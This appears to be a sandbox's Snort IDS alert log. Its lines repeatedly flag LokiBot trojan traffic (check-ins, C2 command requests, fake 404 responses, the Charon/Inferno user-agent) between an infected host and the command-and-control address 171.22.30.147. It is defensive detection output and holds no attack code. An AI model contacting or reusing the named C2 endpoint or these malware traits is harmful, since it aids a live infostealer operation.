Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49743
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49744 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49744 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49744 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49744 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49744 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49744
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49745 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49745 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49745 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49745 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49745 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49745
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49746 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49746 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49746 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49746 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49746 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49746
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49747 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49747 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49747 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49747 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49747 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49747
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49748 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49748 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49748 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49748 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49748 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49748
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49749 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49749 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49749 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49749 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49749 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49749
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49750 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49750 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49750 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49750 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49750 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49750
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49751 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49751 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49751 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49751 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49751 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49751
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49752 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49752 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49752 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49752 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49752 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49752
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49753 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49753 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49753 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49753 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49753 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49753
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49754 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49754 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49754 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49754 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49754 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49754
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49755 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49755 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49755 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49755 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49755 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49755
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49756 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49756 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49756 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49756 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49756 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49756
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49757 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49757 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49757 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49757 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49757 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49757
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49758 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49758 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49758 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49758 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49758 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49758
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49759 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49759 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49759 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49759 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49759 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49759
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49760 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49760 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49760 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49760 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49760 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49760
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49761 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49761 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49761 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49761 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49761 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49761
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49762 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49762 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49762 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49762 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49762 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49762
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49763 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49763 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49763 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49763 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49763 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49763
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49764 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49764 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49764 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49764 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49764 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49764
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49765 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49765 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49765 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49765 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49765 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49765
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49766 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49766 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49766 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49766 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49766 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49766
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49767 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49767 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49767 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49767 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49767 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49767
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49768 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49768 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49768 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49768 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49768 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49768
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49769 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49769 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49769 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49769 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49769 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49769
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49770 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49770 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49770 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49770 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49770 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49770
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49771 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49771 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49771 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49771 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49771 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49771
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49772 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49772 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49772 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49772 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49772 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49772
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49773 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49773 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49773 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49773 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49773 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49773
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49774 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49774 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49774 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49774 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49774 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49774
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49775 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49775 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49775 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49775 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49775 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49775
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49776 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49776 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49776 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49776 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49776 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49776
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49777 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49777 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49777 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49777 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49777 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49777
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49778 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49778 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49778 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49778 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49778 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49778
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49779 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49779 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49779 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49779 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49779 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49779
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49780 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49780 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49780 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49780 -> 171.22.30.147:80
